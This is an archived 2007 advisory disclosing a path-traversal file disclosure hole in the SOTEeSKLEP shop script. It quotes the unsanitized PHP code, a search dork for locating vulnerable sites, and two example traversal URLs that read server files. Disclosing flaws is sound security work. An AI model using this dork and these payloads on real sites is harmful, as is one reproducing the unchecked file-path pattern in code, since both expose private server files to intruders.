AOH :: HP Unsorted S :: TB12032.HTM

SOTEeSKLEP Remote File Disclosure Vulnerability



SOTEeSKLEP Remote File Disclosure Vulnerability
SOTEeSKLEP Remote File Disclosure Vulnerability



SOTEeSKLEP Remote File Disclosure Vulnerability

Script : SOTEeSKLEP

Versions: 3.1RC8, 3.5RC1, 3.5RC4, 3.5RC9, and i think other.

Site : http://www.sote.pl 

Bug:

...
if (! empty($_REQUEST["file"])) { $file=$_REQUEST['file']; }
...
$file_path="$DOCUMENT_ROOT/themes/_$config->lang/_html_files/$file";
if (file_exists($file_path)) { $fd=fopen($file_path,"r");
$data=fread($fd,filesize($file_path));
print $data;
fclose($fd); 
}
...

Dork: inurl:"/go/_files/?file="

Examples: 
http://???/go/_files/?file=./.././.././.././ 
http://???/go/_files/?file=./.././.././.././go/_files/index.php 

Discovered by dun
2007.08.11 

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.